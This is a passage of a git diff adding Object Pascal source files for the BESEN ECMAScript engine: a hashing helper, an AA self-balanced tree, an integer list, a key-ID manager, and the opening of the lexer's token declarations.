@@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENHashUtils; +{$i BESEN.inc} + +interface + +uses + BESENConstants,BESENTypes,BESENStringUtils, + xxHash; + +function BESENHashKey(const Key:TBESENString):TBESENHash; +//function BESENDoubleHash(Hash:TBESENHash):TBESENHash; + +implementation + +function BESENHashKey(const Key:TBESENString):TBESENHash; +begin + Result := xxHash32Calc(BESENUTF16ToUTF8(Key),$DEADC0DE); +end; + +function BESENDoubleHash(Hash:TBESENHash):TBESENHash; +begin + result:=(not Hash)+(Hash shr 23); + result:=result xor (result shl 22); + result:=result xor (result shr 7); + result:=result xor (result shl 2); + result:=result xor (result shr 20); +end; + +end. diff --git a/Core/JS/BESENInt64SelfBalancedTree.pas b/Core/JS/BESENInt64SelfBalancedTree.pas new file mode 100644 index 0000000..0d1135b --- /dev/null +++ b/Core/JS/BESENInt64SelfBalancedTree.pas @@ -0,0 +1,632 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENInt64SelfBalancedTree; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils; + +type PBESENInt64SelfBalancedTreeValue=^TBESENInt64SelfBalancedTreeValue; + TBESENInt64SelfBalancedTreeValue=record + case boolean of + false:(i:int64); + true:(p:pointer); + end; + + PBESENInt64SelfBalancedTreeNode=^TBESENInt64SelfBalancedTreeNode; + TBESENInt64SelfBalancedTreeNode=record + Parent,Left,Right,PreviousKey,NextKey:PBESENInt64SelfBalancedTreeNode; + Level:int64; + Key:int64; + Value:TBESENInt64SelfBalancedTreeValue; + end; + + TBESENInt64SelfBalancedTreeKeys=array of int64; + + TBESENInt64SelfBalancedTree=class + protected + procedure Skew(OldParent:PBESENInt64SelfBalancedTreeNode); + function Split(OldParent:PBESENInt64SelfBalancedTreeNode):boolean; + procedure RebalanceAfterLeafAdd(n:PBESENInt64SelfBalancedTreeNode); + procedure DeleteNode(n:PBESENInt64SelfBalancedTreeNode); + function First(StartNode:PBESENInt64SelfBalancedTreeNode):PBESENInt64SelfBalancedTreeNode; + function Next(n:PBESENInt64SelfBalancedTreeNode):PBESENInt64SelfBalancedTreeNode; + function FindNode(const Key:int64):PBESENInt64SelfBalancedTreeNode; + procedure ClearNode(var Node:PBESENInt64SelfBalancedTreeNode); + procedure OptimizeNode(var Node:PBESENInt64SelfBalancedTreeNode;MoreOptimize:boolean); + function GetValue(Key:int64):TBESENInt64SelfBalancedTreeValue; + procedure SetValue(Key:int64;Value:TBESENInt64SelfBalancedTreeValue); + public + RootNode:PBESENInt64SelfBalancedTreeNode; + FirstKey,LastKey:PBESENInt64SelfBalancedTreeNode; + constructor Create; + destructor Destroy; override; + function Find(const Key:int64;var Value:TBESENInt64SelfBalancedTreeValue):boolean; + function Insert(const Key:int64;Value:TBESENInt64SelfBalancedTreeValue):PBESENInt64SelfBalancedTreeNode; + procedure Remove(const Key:int64); + procedure Optimize; + function Keys:TBESENInt64SelfBalancedTreeKeys; + property Values[Key:int64]:TBESENInt64SelfBalancedTreeValue read GetValue write SetValue; default; + end; + +implementation + +constructor TBESENInt64SelfBalancedTree.Create; +begin + inherited Create; + New(RootNode); + FillChar(RootNode^,SizeOf(TBESENInt64SelfBalancedTreeNode),#0); + RootNode^.Level:=$7fffffffffffffff; + FirstKey:=nil; + LastKey:=nil; +end; + +destructor TBESENInt64SelfBalancedTree.Destroy; +begin + ClearNode(RootNode^.Left); + Dispose(RootNode); + inherited Destroy; +end; + +function TBESENInt64SelfBalancedTree.First(StartNode:PBESENInt64SelfBalancedTreeNode):PBESENInt64SelfBalancedTreeNode; +begin + try + if not assigned(StartNode^.Left) then begin + result:=nil; + exit; + end; + result:=StartNode; + while assigned(result^.Left) do begin + result:=result^.Left; + end; + except + result:=nil; + end; +end; + +function TBESENInt64SelfBalancedTree.Next(n:PBESENInt64SelfBalancedTreeNode):PBESENInt64SelfBalancedTreeNode; +begin + try + if assigned(n^.Right) then begin + result:=n^.Right; + while assigned(result^.Left) do begin + result:=result^.Left; + end; + end else begin + while assigned(n^.Parent) and (n^.Parent^.Right=n) do begin + n:=n^.Parent; + end; + n:=n^.Parent; + if not assigned(n) then begin + result:=nil; + exit; + end; + result:=n; + end; + except + result:=nil; + end; +end; + +procedure TBESENInt64SelfBalancedTree.Skew(OldParent:PBESENInt64SelfBalancedTreeNode); +var NewParent:PBESENInt64SelfBalancedTreeNode; +begin +{$ifdef UseAssert} + Assert(assigned(OldParent)); +{$endif} + NewParent:=OldParent^.Left; +{$ifdef UseAssert} + Assert(assigned(NewParent)); +{$endif} + if OldParent^.Parent^.Left=OldParent then begin + OldParent^.Parent^.Left:=NewParent; + end else begin + OldParent^.Parent^.Right:=NewParent; + end; + NewParent^.Parent:=OldParent^.Parent; + OldParent^.Parent:=NewParent; + + OldParent^.Left:=NewParent^.Right; + if assigned(OldParent^.Left) then begin + OldParent^.Left^.Parent:=OldParent; + end; + NewParent^.Right:=OldParent; + + if assigned(OldParent^.Left) then begin + OldParent^.level:=OldParent^.Left^.level+1; + end else begin + OldParent^.level:=1; + end; +end; + +function TBESENInt64SelfBalancedTree.Split(OldParent:PBESENInt64SelfBalancedTreeNode):boolean; +var NewParent:PBESENInt64SelfBalancedTreeNode; +begin +{$ifdef UseAssert} + Assert(assigned(OldParent)); +{$endif} + NewParent:=OldParent^.Right; + if assigned(NewParent) and assigned(NewParent^.Right) and (NewParent^.Right^.level=OldParent^.Level) then begin + if OldParent^.Parent^.Left=OldParent then begin + OldParent^.Parent^.Left:=NewParent; + end else begin + OldParent^.Parent^.Right:=NewParent; + end; + NewParent^.Parent:=OldParent^.Parent; + OldParent^.Parent:=NewParent; + + OldParent^.Right:=NewParent^.Left; + if assigned(OldParent^.Right) then begin + OldParent^.Right^.Parent:=OldParent; + end; + NewParent^.Left:=OldParent; + + NewParent^.level:=OldParent^.level+1; + + result:=true; + end else begin + result:=false; + end; +end; + +procedure TBESENInt64SelfBalancedTree.RebalanceAfterLeafAdd(n:PBESENInt64SelfBalancedTreeNode); +begin + // n is a node that has just been inserted and is now a Leaf node. + n^.Level:=1; + n^.Left:=nil; + n^.Right:=nil; + n:=n^.Parent; + while n<>RootNode do begin + if (assigned(n^.Left) and (n^.Level<>(n^.Left^.Level+1))) or ((not assigned(n^.Left)) and (n^.Level<>1)) then begin + // this point the tree is correct, except (AA2) for n->Parent + Skew(n); + // We handle it (a Left add) by changing it into a Right add using Skew + // If the original add was to the Left side of a node that is on the + // Right side of a horizontal link, n now points to the rights side + // of the second horizontal link, which is correct. + // However if the original add was to the Left of node with a horizontal + // link, we must get to the Right side of the second link. + if (not assigned(n^.Right)) or (n^.Level<>n^.Right^.Level) then begin + n:=n^.Parent; + end; + end; + if not Split(n^.Parent) then begin + break; + end; + n:=n^.Parent; + end; +end; + +function TBESENInt64SelfBalancedTree.FindNode(const Key:int64):PBESENInt64SelfBalancedTreeNode; +var n:PBESENInt64SelfBalancedTreeNode; +begin + try + result:=nil; + n:=RootNode^.Left; + while assigned(n) do begin + if Key=n^.Key then begin + result:=n; + break; + end else if Key<n^.Key then begin + n:=n^.Left; + end else begin + n:=n^.Right; + end; + end; + except + result:=nil; + end; +end; + +function TBESENInt64SelfBalancedTree.Insert(const Key:int64;Value:TBESENInt64SelfBalancedTreeValue):PBESENInt64SelfBalancedTreeNode; +var n,s:PBESENInt64SelfBalancedTreeNode; + LessThan:boolean; +begin + result:=nil; + try + n:=nil; + s:=RootNode^.Left; + while assigned(s) do begin + if Key=s^.Key then begin + n:=s; + break; + end else if Key<s^.Key then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + end; + if assigned(s) then begin + n^.Value:=Value; + end else begin + new(n); + fillchar(n^,sizeof(TBESENInt64SelfBalancedTreeNode),#0); + n^.Key:=Key; + n^.Value:=Value; + if assigned(LastKey) then begin + n^.PreviousKey:=LastKey; + LastKey^.NextKey:=n; + LastKey:=n; + end else begin + FirstKey:=n; + LastKey:=n; + end; + s:=RootNode; + LessThan:=true; + while (LessThan and assigned(s^.Left)) or ((not LessThan) and assigned(s^.Right)) do begin + if LessThan then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + LessThan:=Key<s^.Key; + end; + if LessThan then begin + s^.Left:=n; + end else begin + s^.Right:=n; + end; + n^.Parent:=s; + RebalanceAfterLeafAdd(n); + result:=n; + end; + except + result:=nil; + end; +end; + +procedure TBESENInt64SelfBalancedTree.DeleteNode(n:PBESENInt64SelfBalancedTreeNode); +var Leaf,Temp:PBESENInt64SelfBalancedTreeNode; +begin + try + // If n is not a Leaf, we first swap it out with the Leaf node that just + // precedes it. + Leaf:=n; + if assigned(n^.Left) then begin + Leaf:=n^.Left; + while assigned(Leaf^.Right) do begin + Leaf:=Leaf^.Right; + end; + end else if assigned(n^.Right) then begin + Leaf:=n^.Right; + end; + + if Leaf^.Parent=n then begin + Temp:=Leaf; + end else begin + Temp:=Leaf^.Parent; + end; + if Leaf^.Parent^.Left=Leaf then begin + Leaf^.Parent^.Left:=nil; + end else begin + Leaf^.Parent^.Right:=nil; + end; + + if n<>Leaf then begin + if n^.Parent^.Left=n then begin + n^.Parent^.Left:=Leaf; + end else begin + n^.Parent^.Right:=Leaf; + end; + Leaf^.Parent:=n^.Parent; + if assigned(n^.Left) then begin + n^.Left^.Parent:=Leaf; + end; + Leaf^.Left:=n^.Left; + if assigned(n^.Right) then begin + n^.Right^.Parent:=Leaf; + end; + Leaf^.Right:=n^.Right; + Leaf^.level:=n^.level; + end; + if n<>RootNode then begin + n^.Key:=0; + if assigned(n^.PreviousKey) then begin + n^.PreviousKey^.NextKey:=n^.NextKey; + end else if FirstKey=n then begin + FirstKey:=n^.NextKey; + end; + if assigned(n^.NextKey) then begin + n^.NextKey^.PreviousKey:=n^.PreviousKey; + end else if LastKey=n then begin + LastKey:=n^.PreviousKey; + end; + dispose(n); + end; + + while Temp<>RootNode do begin + if (assigned(Temp^.Left) and (Temp^.level>(Temp^.Left^.level+1))) or ((not assigned(Temp^.Left)) and (Temp^.level>1)) then begin + dec(Temp^.level); + if Split(Temp) then begin + if Split(Temp) then begin + Skew(Temp^.Parent^.Parent); + end; + break; + end; + Temp:=Temp^.Parent; + end else if (assigned(Temp^.Right) and (Temp^.level<=(Temp^.Right^.level+1))) or ((not assigned(Temp^.Right)) and (Temp^.level<=1)) then begin + break; + end else begin + Skew(Temp); + { if assigned(Temp^.Right) then begin + if assigned(Temp^.Right^.Left) then begin + Temp^.Right^.level:=Temp^.Right^.level+1; + end else begin + Temp^.Right^.level:=1; + end; + end;} + if Temp^.level>Temp^.Parent^.level then begin + Skew(Temp); + Split(Temp^.Parent^.Parent); + break; + end; + Temp:=Temp^.Parent^.Parent; + end; + end; + except + end; +end; + +procedure TBESENInt64SelfBalancedTree.Remove(const Key:int64); +var n:PBESENInt64SelfBalancedTreeNode; +begin + try + n:=RootNode^.Left; + while assigned(n) do begin + if Key=n^.Key then begin + DeleteNode(n); + break; + end else if Key<n^.Key then begin + n:=n^.Left; + end else begin + n:=n^.Right; + end; + end; + except + end; +end; + +procedure TBESENInt64SelfBalancedTree.ClearNode(var Node:PBESENInt64SelfBalancedTreeNode); +begin + if not assigned(Node) then begin + exit; + end; + Node^.Key:=0; + if assigned(Node^.PreviousKey) then begin + Node^.PreviousKey^.NextKey:=Node^.NextKey; + end else if FirstKey=Node then begin + FirstKey:=Node^.NextKey; + end; + if assigned(Node^.NextKey) then begin + Node^.NextKey^.PreviousKey:=Node^.PreviousKey; + end else if LastKey=Node then begin + LastKey:=Node^.PreviousKey; + end; + ClearNode(Node^.Left); + ClearNode(Node^.Right); + dispose(Node); + Node:=nil; +end; + +procedure TBESENInt64SelfBalancedTree.OptimizeNode(var Node:PBESENInt64SelfBalancedTreeNode;MoreOptimize:boolean); +var Nodes:array of TBESENInt64SelfBalancedTreeNode; + NodeCount,NodeIndex:integer; + procedure CountNodes(Node:PBESENInt64SelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + CountNodes(Node^.Left); + CountNodes(Node^.Right); + inc(NodeCount); + end; + procedure CollectNodes(Node:PBESENInt64SelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + CollectNodes(Node^.Left); + if NodeIndex>=length(Nodes) then begin + NodeCount:=NodeIndex+1; + SetLength(Nodes,NodeCount); + end; + Nodes[NodeIndex]:=Node^; + inc(NodeIndex); + CollectNodes(Node^.Right); + end; + procedure FreeNodes(var Node:PBESENInt64SelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + Node^.Key:=0; + if assigned(Node^.PreviousKey) then begin + Node^.PreviousKey^.NextKey:=Node^.NextKey; + end; + if assigned(Node^.NextKey) then begin + Node^.NextKey^.PreviousKey:=Node^.PreviousKey; + end; + if FirstKey=Node then begin + FirstKey:=Node^.NextKey; + end; + if LastKey=Node then begin + LastKey:=Node^.PreviousKey; + end; + CountNodes(Node^.Left); + CountNodes(Node^.Right); + dispose(Node); + Node:=nil; + end; + procedure DoInsertNode(const Node:TBESENInt64SelfBalancedTreeNode); + var n,s:PBESENInt64SelfBalancedTreeNode; + LessThan:boolean; + begin + new(n); + n^:=Node; + n^.Parent:=nil; + n^.Left:=nil; + n^.Right:=nil; + n^.Level:=0; + s:=RootNode; + LessThan:=true; + while (LessThan and assigned(s^.Left)) or ((not LessThan) and assigned(s^.Right)) do begin + if LessThan then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + LessThan:=n^.Key<s^.Key; + end; + if LessThan then begin + s^.Left:=n; + end else begin + s^.Right:=n; + end; + n^.Parent:=s; + if assigned(LastKey) then begin + n^.PreviousKey:=LastKey; + LastKey^.NextKey:=n; + LastKey:=n; + end else begin + FirstKey:=n; + LastKey:=n; + end; + if not MoreOptimize then begin + RebalanceAfterLeafAdd(n); + end; + end; + procedure RepairNodes(var Node:PBESENInt64SelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + RepairNodes(Node^.Left); + RepairNodes(Node^.Right); + if assigned(Node^.Left) and assigned(Node^.Right) then begin + Node^.Level:=Node^.Left^.Level+1; + end else begin + Node^.Level:=1; + end; + end; + procedure ReinsertNodesForRepair(LowNode,HighNode:integer); + var MiddleNode:integer; + begin + if HighNode<LowNode then begin + exit; + end; + MiddleNode:=LowNode+((HighNode-LowNode) div 2); + DoInsertNode(Nodes[MiddleNode]); + ReinsertNodesForRepair(LowNode,MiddleNode-1); + ReinsertNodesForRepair(MiddleNode+1,HighNode); + end; + procedure ReinsertNodes(LowNode,HighNode:integer); + var i:integer; + begin + for i:=LowNode to HighNode do begin + DoInsertNode(Nodes[i]); + end; + end; +begin + if not assigned(Node) then begin + exit; + end; + try + Nodes:=nil; + NodeCount:=0; + CountNodes(Node); + SetLength(Nodes,NodeCount); + NodeIndex:=0; + CollectNodes(Node); + FreeNodes(Node); + if MoreOptimize then begin + ReinsertNodesForRepair(0,length(Nodes)-1); + RepairNodes(RootNode^.Left); + end else begin + ReinsertNodes(0,length(Nodes)-1); + end; + SetLength(Nodes,0); + except + end; +end; + +function TBESENInt64SelfBalancedTree.Find(const Key:int64;var Value:TBESENInt64SelfBalancedTreeValue):boolean; +var n:PBESENInt64SelfBalancedTreeNode; +begin + n:=FindNode(Key); + if assigned(n) then begin + Value:=n^.Value; + result:=true; + end else begin + fillchar(Value,sizeof(TBESENInt64SelfBalancedTreeValue),#0); + result:=false; + end; +end; + +procedure TBESENInt64SelfBalancedTree.Optimize; +begin + OptimizeNode(RootNode^.Left,true); +end; + +function TBESENInt64SelfBalancedTree.Keys:TBESENInt64SelfBalancedTreeKeys; +var CurrentNode:PBESENInt64SelfBalancedTreeNode; + Count:integer; +begin + + result:=nil; + Count:=0; + CurrentNode:=FirstKey; + while assigned(CurrentNode) do begin + inc(Count); + CurrentNode:=CurrentNode^.NextKey; + end; + SetLength(result,Count); + Count:=0; + CurrentNode:=FirstKey; + while assigned(CurrentNode) do begin + result[Count]:=CurrentNode^.Key; + inc(Count); + CurrentNode:=CurrentNode^.NextKey; + end; +end; + +function TBESENInt64SelfBalancedTree.GetValue(Key:int64):TBESENInt64SelfBalancedTreeValue; +begin + Find(Key,result); +end; + +procedure TBESENInt64SelfBalancedTree.SetValue(Key:int64;Value:TBESENInt64SelfBalancedTreeValue); +begin + Insert(Key,Value); +end; + + +end. diff --git a/Core/JS/BESENIntegerList.pas b/Core/JS/BESENIntegerList.pas new file mode 100644 index 0000000..5dc6442 --- /dev/null +++ b/Core/JS/BESENIntegerList.pas @@ -0,0 +1,230 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENIntegerList; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +type PBESENIntegerArray=^TBESENIntegerArray; + TBESENIntegerArray=array[0..(2147483647 div sizeof(integer))-1] of integer; + + TBESENIntegerList=class + private + FList:PBESENIntegerArray; + FCount,FSize:integer; + function GetItem(index:integer):integer; + procedure SetItem(index:integer;Value:integer); + function GetItemPointer(index:integer):pointer; + public + constructor Create; + destructor Destroy; override; + procedure Clear; + function Add(Item:integer):integer; + procedure Insert(index:integer;Item:integer); + procedure Delete(index:integer); + function Remove(Item:integer):integer; + function Find(Item:integer):integer; + function IndexOf(Item:integer):integer; + procedure Exchange(Index1,Index2:integer); + procedure SetCapacity(NewCapacity:integer); + procedure SetCount(NewCount:integer); + property Count:integer read FCount; + property Capacity:integer read FSize write SetCapacity; + property Item[index:integer]:integer read GetItem write SetItem; default; + property Items[index:integer]:integer read GetItem write SetItem; + property PItems[index:integer]:pointer read GetItemPointer; + end; + +implementation + +constructor TBESENIntegerList.Create; +begin + inherited Create; + FCount:=0; + FSize:=0; + FList:=nil; + Clear; +end; + +destructor TBESENIntegerList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENIntegerList.Clear; +begin + FCount:=0; + FSize:=0; + ReallocMem(FList,0); +end; + +procedure TBESENIntegerList.SetCapacity(NewCapacity:integer); +begin + if (NewCapacity>=0) and (NewCapacity<high(TBESENIntegerArray)) then begin + NewCapacity:=(NewCapacity+256) and not 255; + if FSize<>NewCapacity then begin + ReallocMem(FList,NewCapacity*sizeof(integer)); + if FSize<NewCapacity then begin + FillChar(FList^[FSize],(NewCapacity-FSize)*sizeof(integer),#0); + end; + FSize:=NewCapacity; + end; + end; +end; + +procedure TBESENIntegerList.SetCount(NewCount:integer); +begin + if (NewCount>=0) and (NewCount<high(TBESENIntegerArray)) then begin + if NewCount<FCount then begin + FillChar(FList^[NewCount],(FCount-NewCount)*sizeof(integer),#0); + end; + SetCapacity(NewCount); + FCount:=NewCount; + end; +end; + +function TBESENIntegerList.Add(Item:integer):integer; +begin + result:=FCount; + SetCount(result+1); + FList^[result]:=Item; +end; + +procedure TBESENIntegerList.Insert(index:integer;Item:integer); +var I:integer; +begin + if (index>=0) and (index<FCount) then begin + SetCount(FCount+1); + for I:=FCount-1 downto index do FList^[I+1]:=FList^[I]; + FList^[index]:=Item; + end else if index=FCount then begin + Add(Item); + end else if index>FCount then begin + SetCount(index); + Add(Item); + end; +end; + +procedure TBESENIntegerList.Delete(index:integer); +var I,J,K:integer; +begin + if (index>=0) and (index<FCount) then begin + K:=FCount-1; + J:=index; + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + end; +end; + +function TBESENIntegerList.Remove(Item:integer):integer; +var I,J,K:integer; +begin + result:=-1; + K:=FCount; + J:=-1; + for I:=0 to K-1 do begin + if FList^[I]=Item then begin + J:=I; + break; + end; + end; + if J>=0 then begin + dec(K); + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + result:=J; + end; +end; + +function TBESENIntegerList.Find(Item:integer):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +function TBESENIntegerList.IndexOf(Item:integer):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +procedure TBESENIntegerList.Exchange(Index1,Index2:integer); +var TempInteger:integer; +begin + if (Index1>=0) and (Index1<FCount) and (Index2>=0) and (Index2<FCount) then begin + TempInteger:=FList^[Index1]; + FList^[Index1]:=FList^[Index2]; + FList^[Index2]:=TempInteger; + end; +end; + +function TBESENIntegerList.GetItem(index:integer):integer; +begin + if (index>=0) and (index<FCount) then begin + result:=FList^[index]; + end else begin + result:=0; + end; +end; + +procedure TBESENIntegerList.SetItem(index:integer;Value:integer); +begin + if (index>=0) and (index<FCount) then begin + FList^[index]:=Value; + end; +end; + +function TBESENIntegerList.GetItemPointer(index:integer):pointer; +begin + if (index>=0) and (index<FCount) then begin + result:=@FList^[index]; + end else begin + result:=nil; + end; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENKeyIDManager.pas b/Core/JS/BESENKeyIDManager.pas new file mode 100644 index 0000000..f6fc052 --- /dev/null +++ b/Core/JS/BESENKeyIDManager.pas @@ -0,0 +1,120 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENKeyIDManager; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENGarbageCollector,BESENHashMap,BESENStringList, + BESENBaseObject; + +type TBESENKeyIDManager=class(TBESENBaseObject) + public + HashMap:TBESENHashMap; + List:TBESENStringList; + Count:int64; + CallerID:TBESENINT32; + LengthID:TBESENINT32; + ProtoID:TBESENINT32; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function Get(const Key:TBESENString;Hash:TBESENHash=0):TBESENINT32; + function GetString(const Key:TBESENString;Hash:TBESENHash=0):TBESENString; + function Find(const Key:TBESENString;Hash:TBESENHash=0):TBESENINT32; + end; + +implementation + +uses BESEN; + +constructor TBESENKeyIDManager.Create(AInstance:TObject); +begin + inherited Create(AInstance); + HashMap:=TBESENHashMap.Create; + List:=TBESENStringList.Create; + Count:=0; + CallerID:=Get('caller'); + LengthID:=Get('length'); + ProtoID:=Get('__proto__'); +end; + +destructor TBESENKeyIDManager.Destroy; +begin + HashMap.Free; + List.Free; + inherited Destroy; +end; + +function TBESENKeyIDManager.Get(const Key:TBESENString;Hash:TBESENHash=0):TBESENINT32; +var Item:PBESENHashMapItem; +begin + Item:=HashMap.GetKey(Key,Hash); + if TBESEN(Instance).InlineCacheEnabled and not assigned(Item) then begin + inc(Count); + if Count<bimMAXIDENTS then begin + Item:=HashMap.NewKey(Key,true,Hash); + Item^.Value:=List.Add(Key); + end else begin + TBESEN(Instance).InlineCacheEnabled:=false; + List.Clear; + HashMap.Clear; + end; + end; + if assigned(Item) then begin + result:=Item^.Value; + end else begin + result:=-1; + end; +end; + +function TBESENKeyIDManager.GetString(const Key:TBESENString;Hash:TBESENHash=0):TBESENString; +var Item:PBESENHashMapItem; +begin + Item:=HashMap.GetKey(Key,Hash); + if TBESEN(Instance).InlineCacheEnabled and assigned(Item) then begin + result:=List[Item^.Value]; + end else begin + result:=Key; + end; +end; + +function TBESENKeyIDManager.Find(const Key:TBESENString;Hash:TBESENHash=0):TBESENINT32; +var Item:PBESENHashMapItem; +begin + Item:=HashMap.GetKey(Key,Hash); + if TBESEN(Instance).InlineCacheEnabled and assigned(Item) then begin + result:=Item^.Value; + end else begin + result:=-1; + end; +end; + +end. diff --git a/Core/JS/BESENLexer.pas b/Core/JS/BESENLexer.pas new file mode 100644 index 0000000..27242c6 --- /dev/null +++ b/Core/JS/BESENLexer.pas @@ -0,0 +1,1416 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENLexer; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils,BESENBaseObject; + +type TBESENLexerTokenType=(ltNONE,ltUNKNOWN,ltEOF, + + // Types + lttIDENTIFIER,lttSTRING,lttINTEGER,lttFLOAT, + + // Operators + ltoASSIGNMENT,ltoBITWISEAND,ltoBITWISEANDASSIGNMENT, + ltoBITWISENOT,ltoBITWISEOR,ltoBITWISEORASSIGNMENT, + ltoBITWISEXOR,ltoBITWISEXORASSIGNMENT,ltoCLOSEBRACE, + ltoCLOSEPAREN,ltoCLOSESQUARE,ltoCOLON,ltoCOMMA, + ltoCONDITIONAL,ltoDIVIDE,ltoDIVIDEASSIGNMENT,ltoDOT, + ltoEQUALEQUAL,ltoEQUALEQUALEQUAL,ltoGREATERTHAN, + ltoGREATERTHANOREQUAL,ltoLESSTHAN,ltoLESSTHANOREQUAL, + ltoLOGICALAND,ltoLOGICALNOT,ltoLOGICALOR,ltoMINUS, + ltoMINUSASSIGNMENT,ltoMINUSMINUS,ltoMODULO, + ltoMODULOASSIGNMENT,ltoMULTIPLY, + ltoMULTIPLYASSIGNMENT,ltoNOTEQUAL,ltoNOTEQUALEQUAL, + ltoOPENBRACE,ltoOPENPAREN,ltoOPENSQUARE,ltoPLUS, + ltoPLUSASSIGNMENT,ltoPLUSPLUS,ltoSEMICOLON, + ltoSHIFTLEFT,ltoSHIFTLEFTASSIGNMENT,ltoSHIFTRIGHT, + ltoSHIFTRIGHTASSIGNMENT,ltoSHIFTRIGHTUNSIGNED, + ltoSHIFTRIGHTUNSIGNEDASSIGNMENT, + + // Used keywords + ltkBREAK,ltkCASE,ltkCATCH,ltkCONTINUE,ltkDEBUGGER, + ltkDEFAULT,ltkDELETE,ltkDO,ltkELSE,ltkFALSE, + ltkFINALLY,ltkFOR,ltkFUNCTION,ltkIF,ltkIN, + ltkINSTANCEOF,ltkNEW,ltkNULL,ltkRETURN,ltkSWITCH, + ltkTHIS,ltkTHROW,ltkTRUE,ltkTRY,ltkTYPEOF,ltkVAR, + ltkVOID,ltkWHILE,ltkWITH, + + // Reserved keywords + 